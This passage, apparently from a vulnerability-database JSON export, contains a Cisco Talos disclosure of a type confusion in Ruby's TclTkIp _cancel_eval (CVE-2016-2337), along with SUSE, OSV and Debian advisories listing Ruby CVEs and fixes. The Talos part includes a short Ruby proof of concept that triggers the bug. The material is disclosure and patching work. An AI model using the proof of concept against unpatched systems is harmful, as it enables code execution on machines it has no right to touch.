(TCL_MAJOR_VERSION == 8 && \n TCL_MINOR_VERSION < 6)\n Line 7743\t\trb_raise(rb_eNotImpError,\n Line 7744\t\t\t\t \"cancel_eval is supported Tcl/Tk8.6 or \n later.\");\n Line 7745\n Line 7746\t\tUNREACHABLE;\n Line 7747\t#else\n Line 7748\t\tTcl_Obj *msg_obj;\n Line 7749\n Line 7750\t\tif (NIL_P(msg)) {\n Line 7751\t\t\tmsg_obj = NULL;\n Line 7752\t\t} else {\n Line 7753\t\t\tmsg_obj = Tcl_NewStringObj(RSTRING_PTR(msg), \n RSTRING_LEN(msg));\n Line 7754\t\t\tTcl_IncrRefCount(msg_obj);\n Line 7755\t\t}\n Line 7756\n Line 7757\t\treturn Tcl_CancelEval(interp, msg_obj, 0, flag);\n Line 7758\t#endif\n Line 7759\t}\n ---------------------------------------------- code \n ---------------------------------------------\t\n \n\nIn line 7769 \u201c_cancel_eval\u201d method argument is parse out into \u201cretval\u201d variable. Next this variable is passed to \u201cip_cancel_eval_core\u201d function (line 7772). In line 7753 we can see that our \u201cretval\u201d variable which in this function is passed as \u201cmsg\u201d argument is treated as String object.Passing object different than String we will cause type confusion vulnerability in this line.\n\n### POC\n \n \n ---------------------------------- PoC test.rb ----------------------------------------\n \n require 'tk'\n t = TclTkIp.new()\n t._cancel_eval(0x11223344)\n \n ---------------------------------- PoC test.rb ----------------------------------------\n \n\n### TIMELINE\n\n2015-06-18 - Initial Discovery \n2015-06-30 - Vendor Notification \n2016\u201406-14 - Public Disclosure \n\n\n##### Credit\n\nDiscovered by Marcin \u2018Icewall\u2019 Noga of Cisco Talos\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2016-0032\n\nPrevious Report\n\nTALOS-2016-0029\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2016-06-14T00:00:00", "type": "talos", "title": "Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337"], "modified": "2016-06-14T00:00:00", "id": "TALOS-2016-0031", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0031", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2017-04-03T19:17:43", "description": "This update for ruby19 fixes the following issues:\n\n Security issue fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (bsc#1018808)\n\n Bugfixes:\n - fix small mistake in the backport for (bsc#986630)\n - HTTP Header injection in 'net/http' (bsc#986630)\n - make the testsuite work with our new openssl requirements\n\n", "cvss3": {}, "published": "2017-04-03T21:09:44", "type": "suse", "title": "Security update for ruby19 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-2339"], "modified": "2017-04-03T21:09:44", "id": "SUSE-SU-2017:0914-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00006.html", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:LOW/I:LOW/A:LOW/"}}, {"lastseen": "2017-04-05T13:17:48", "description": "This update for ruby2.2, ruby2.3 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (boo#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (boo#959495)\n\n Detailed ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_2_6/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_2_6/ChangeLog</a>\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_3_3/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_3_3/ChangeLog</a>\n\n", "cvss3": {}, "published": "2017-04-05T15:08:17", "type": "suse", "title": "Security update for ruby2.2, ruby2.3 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-2339", "CVE-2015-7551"], "modified": "2017-04-05T15:08:17", "id": "OPENSUSE-SU-2017:0933-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00007.html", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:LOW/I:LOW/A:LOW/"}}, {"lastseen": "2017-04-28T17:19:07", "description": "This ruby2.1 update to version 2.1.9 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (bsc#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (bsc#959495)\n - CVE-2015-3900: hostname validation does not work when fetching gems or\n making API requests (bsc#936032)\n - CVE-2015-1855: Ruby'a OpenSSL extension suffers a vulnerability through\n overly permissive matching of hostnames (bsc#926974)\n - CVE-2014-4975: off-by-one stack-based buffer overflow in the encodes()\n function (bsc#887877)\n\n Bugfixes:\n - SUSEconnect doesn't handle domain wildcards in no_proxy environment\n variable properly (bsc#1014863)\n - Segmentation fault after pack & ioctl & unpack (bsc#909695)\n - Ruby:HTTP Header injection in 'net/http' (bsc#986630)\n\n ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog</a>\n\n This update was imported from the SUSE:SLE-12:Update update project.\n\n", "cvss3": {}, "published": "2017-04-28T18:11:28", "type": "suse", "title": "Security update for ruby2.1 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2015-3900", "CVE-2015-1855", "CVE-2016-2339", "CVE-2015-7551", "CVE-2014-4975"], "modified": "2017-04-28T18:11:28", "id": "OPENSUSE-SU-2017:1128-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00034.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-20T11:18:41", "description": "This ruby2.1 update to version 2.1.9 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (bsc#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (bsc#959495)\n - CVE-2015-3900: hostname validation does not work when fetching gems or\n making API requests (bsc#936032)\n - CVE-2015-1855: Ruby'a OpenSSL extension suffers a vulnerability through\n overly permissive matching of hostnames (bsc#926974)\n - CVE-2014-4975: off-by-one stack-based buffer overflow in the encodes()\n function (bsc#887877)\n\n Bugfixes:\n - SUSEconnect doesn't handle domain wildcards in no_proxy environment\n variable properly (bsc#1014863)\n - Segmentation fault after pack & ioctl & unpack (bsc#909695)\n - Ruby:HTTP Header injection in 'net/http' (bsc#986630)\n\n ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog</a>\n\n", "cvss3": {}, "published": "2017-04-20T12:08:57", "type": "suse", "title": "Security update for ruby2.1 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2015-3900", "CVE-2015-1855", "CVE-2016-2339", "CVE-2015-7551", "CVE-2014-4975"], "modified": "2017-04-20T12:08:57", "id": "SUSE-SU-2017:1067-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00024.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "osv": [{"lastseen": "2023-06-28T06:20:49", "description": "\nSeveral vulnerabilities were discovered in Ruby 2.1.\n\n\n* [CVE-2016-2337](https://security-tracker.debian.org/tracker/CVE-2016-2337)\nType confusion exists in \\_cancel\\_eval Ruby's TclTkIp class\n method. Attacker passing different type of object than String as\n retval argument can cause arbitrary code execution.\n* [CVE-2018-1000073](https://security-tracker.debian.org/tracker/CVE-2018-1000073)\nRubyGems contains a Directory Traversal vulnerability in\n install\\_location function of package.rb that can result in path\n traversal when writing to a symlinked basedir outside of the root.\n* [CVE-2018-1000074](https://security-tracker.debian.org/tracker/CVE-2018-1000074)\nRubyGems contains a Deserialization of Untrusted Data\n vulnerability in owner command that can result in code\n execution. This attack appear to be exploitable via victim must\n run the gem owner command on a gem with a specially crafted YAML\n file.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u5.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-27T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337", "CVE-2018-1000073", "CVE-2018-1000074"], "modified": "2023-06-28T06:20:44", "id": "OSV:DLA-1480-1", "href": "https://osv.dev/vulnerability/DLA-1480-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-28T06:45:55", "description": "\nMultiple vulnerabilities were discovered in the interpreter for the Ruby\nlanguage:\n\n\n* [CVE-2015-9096](https://security-tracker.debian.org/tracker/CVE-2015-9096)\nSMTP command injection in Net::SMTP.\n* [CVE-2016-7798](https://security-tracker.debian.org/tracker/CVE-2016-7798)\nIncorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n* [CVE-2017-0900](https://security-tracker.debian.org/tracker/CVE-2017-0900)\nDenial of service in the RubyGems client.\n* [CVE-2017-0901](https://security-tracker.debian.org/tracker/CVE-2017-0901)\nPotential file overwrite in the RubyGems client.\n* [CVE-2017-0902](https://security-tracker.debian.org/tracker/CVE-2017-0902)\nDNS hijacking in the RubyGems client.\n* [CVE-2017-14064](https://security-tracker.debian.org/tracker/CVE-2017-14064)\nHeap memory disclosure in the JSON library.\n\n\nFor the stable distribution (stretch), these problems have been fixed in\nversion 2.3.3-1+deb9u1. This update also hardens RubyGems against\nmalicious terminal escape sequences ([CVE-2017-0899](https://security-tracker.debian.org/tracker/CVE-2017-0899)).\n\n\nWe recommend that you upgrade your ruby2.3 packages.\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-09-05T00:00:00", "type": "osv", "title": "ruby2.3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-7798", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-14064"], "modified": "2023-06-28T06:45:22", "id": "OSV:DSA-3966-1", "href": "https://osv.dev/vulnerability/DSA-3966-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-28T06:20:46", "description": "\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\n\n* [CVE-2015-9096](https://security-tracker.debian.org/tracker/CVE-2015-9096)\nSMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n* [CVE-2016-2339](https://security-tracker.debian.org/tracker/CVE-2016-2339)\nExploitable heap overflow in Fiddle::Function.new.\n* [CVE-2016-7798](https://security-tracker.debian.org/tracker/CVE-2016-7798)\nIncorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n* [CVE-2017-0898](https://security-tracker.debian.org/tracker/CVE-2017-0898)\nBuffer underrun vulnerability in Kernel.sprintf.\n* [CVE-2017-0899](https://security-tracker.debian.org/tracker/CVE-2017-0899)\nANSI escape sequence vulnerability in RubyGems.\n* [CVE-2017-0900](https://security-tracker.debian.org/tracker/CVE-2017-0900)\nDoS vulnerability in the RubyGems query command.\n* [CVE-2017-0901](https://security-tracker.debian.org/tracker/CVE-2017-0901)\ngem installer allowed a malicious gem to overwrite arbitrary files.\n* [CVE-2017-0902](https://security-tracker.debian.org/tracker/CVE-2017-0902)\nRubyGems DNS request hijacking vulnerability.\n* [CVE-2017-0903](https://security-tracker.debian.org/tracker/CVE-2017-0903)\nMax Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n* [CVE-2017-10784](https://security-tracker.debian.org/tracker/CVE-2017-10784)\nYusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim's terminal\n emulator when reading logs.\n* [CVE-2017-14033](https://security-tracker.debian.org/tracker/CVE-2017-14033)\nasac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n* [CVE-2017-14064](https://security-tracker.debian.org/tracker/CVE-2017-14064)\nHeap memory disclosure in the JSON library.\n* [CVE-2017-17405](https://security-tracker.debian.org/tracker/CVE-2017-17405)\nA command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nAaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n* [CVE-2017-17790](https://security-tracker.debian.org/tracker/CVE-2017-17790)\nA command injection vulnerability in lib/resolv.rb's lazy\\_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n* [CVE-2018-6914](https://security-tracker.debian.org/tracker/CVE-2018-6914)\nooooooo\\_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n* [CVE-2018-8777](https://security-tracker.debian.org/tracker/CVE-2018-8777)\nEric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n* [CVE-2018-8778](https://security-tracker.debian.org/tracker/CVE-2018-8778)\naerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n* [CVE-2018-8779](https://security-tracker.debian.org/tracker/CVE-2018-8779)\nooooooo\\_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n* [CVE-2018-8780](https://security-tracker.debian.org/tracker/CVE-2018-8780)\nooooooo\\_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n* [CVE-2018-1000075](https://security-tracker.debian.org/tracker/CVE-2018-1000075)\nA negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n* [CVE-2018-1000076](https://security-tracker.debian.org/tracker/CVE-2018-1000076)\nRubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n* [CVE-2018-1000077](https://security-tracker.debian.org/tracker/CVE-2018-1000077)\nAn improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n* [CVE-2018-1000078](https://security-tracker.debian.org/tracker/CVE-2018-1000078)\nCross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n* [CVE-2018-1000079](https://security-tracker.debian.org/tracker/CVE-2018-1000079)\nPath Traversal vulnerability during gem installation.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u4.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-07-14T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2023-06-28T06:20:41", "id": "OSV:DLA-1421-1", "href": "https://osv.dev/vulnerability/DLA-1421-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2021-10-22T12:53:44", "description": "Package : ruby2.1\nVersion : 2.1.5-2+deb8u5\nCVE ID : CVE-2016-2337 CVE-2018-1000073 CVE-2018-1000074\nDebian Bug : 895778 851161\n\nSeveral vulnerabilities were discovered in Ruby 2.1.\n\nCVE-2016-2337\n\n Type confusion exists in _cancel_eval Ruby's TclTkIp class\n method. Attacker passing different type of object than String as\n "retval" argument can cause arbitrary code execution.\n\nCVE-2018-1000073\n\n RubyGems contains a Directory Traversal vulnerability in\n install_location function of package.rb that can result in path\n traversal when writing to a symlinked basedir outside of the root.\n\nCVE-2018-1000074\n\n RubyGems contains a Deserialization of Untrusted Data\n vulnerability in owner command that can result in code\n execution. This attack appear to be exploitable via victim must\n run the `gem owner` command on a gem with a specially crafted YAML\n file.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n2.1.5-2+deb8u5.\n\nWe recommend that you upgrade your ruby2.1 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\nAttachment:\nsignature.asc\nDescription: PGP signature\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-27T20:25:50", "type": "debian", "title": "[SECURITY] [DLA 1480-1] ruby2.1 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2337", "CVE-2018-1000073", "CVE-2018-1000074"], "modified": "2018-08-27T20:25:50", "id": "DEBIAN:DLA-1480-1:C4833", "href": "https://lists.debian.org/debian-lts-announce/2018/08/msg00028.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-02T15:59:40", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3966-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nSeptember 05, 2017 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : ruby2.3\nCVE ID : CVE-2015-9096 CVE-2016-7798 CVE-2017-0899 CVE-2017-0900 \n CVE-2017-0901 CVE-2017-0902 CVE-2017-14064\n\nMultiple vulnerabilities were discovered in the interpreter for the Ruby\nlanguage:\n\nCVE-2015-9096\n\n SMTP command injection in Net::SMTP.\n\nCVE-2016-7798\n\n Incorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n\nCVE-2017-0900\n\n Denial of service in the RubyGems client.\n\nCVE-2017-0901\n\n Potential file overwrite in the RubyGems client.\n\nCVE-2017-0902\n\n DNS hijacking in the RubyGems client.\n\nCVE-2017-14064\n\n Heap memory disclosure in the JSON library.\n\nFor the stable distribution (stretch), these problems have been fixed in\nversion 2.3.3-1+deb9u1. This update also hardens RubyGems against\nmalicious termonal escape sequences (CVE-2017-0899).\n\nWe recommend that you upgrade your ruby2.3 packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-09-05T20:17:58", "type": "debian", "title": "[SECURITY] [DSA 3966-1] ruby2.3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-7798", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-14064"], "modified": "2017-09-05T20:17:58", "id": "DEBIAN:DSA-3966-1:856A1", "href": "https://lists.debian.org/debian-security-announce/2017/msg00228.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-22T13:44:51", "description": "Package : ruby2.1\nVersion : 2.1.5-2+deb8u4\nCVE ID : CVE-2015-9096 CVE-2016-2339 CVE-2016-7798 CVE-2017-0898\n CVE-2017-0899 CVE-2017-0900 CVE-2017-0901 CVE-2017-0902\n CVE-2017-0903 CVE-2017-10784 CVE-2017-14033 CVE-2017-14064\n CVE-2017-17405 CVE-2017-17742 CVE-2017-17790 CVE-2018-6914\n CVE-2018-8777 CVE-2018-8778 CVE-2018-8779 CVE-2018-8780\n CVE-2018-1000075 CVE-2018-1000076 CVE-2018-1000077\n CVE-2018-1000078 CVE-2018-1000079\nDebian Bug : 851161\n\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\nCVE-2015-9096\n\n SMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n\nCVE-2016-2339\n\n Exploitable heap overflow in Fiddle::Function.new.\n\nCVE-2016-7798\n\n Incorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n\nCVE-2017-0898\n\n Buffer underrun vulnerability in Kernel.sprintf.\n\nCVE-2017-0899\n\n ANSI escape sequence vulnerability in RubyGems.\n\nCVE-2017-0900\n\n DoS vulnerability in the RubyGems query command.\n\nCVE-2017-0901\n\n gem installer allowed a malicious gem to overwrite arbitrary files.\n\nCVE-2017-0902\n\n RubyGems DNS request hijacking vulnerability.\n\nCVE-2017-0903\n\n Max Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n\nCVE-2017-10784\n\n Yusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim's terminal\n emulator when reading logs.\n\nCVE-2017-14033\n\n asac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n\nCVE-2017-14064\n\n Heap memory disclosure in the JSON library.\n\nCVE-2017-17405\n\n A command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n\nCVE-2017-17742\n\n Aaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n\nCVE-2017-17790\n\n A command injection vulnerability in lib/resolv.rb's lazy_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n\nCVE-2018-6914\n\n ooooooo_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n\nCVE-2018-8777\n\n Eric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n\nCVE-2018-8778\n\n aerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n\nCVE-2018-8779\n\n ooooooo_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n\nCVE-2018-8780\n\n ooooooo_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n\nCVE-2018-1000075\n\n A negative size vulnerability in ruby gem package 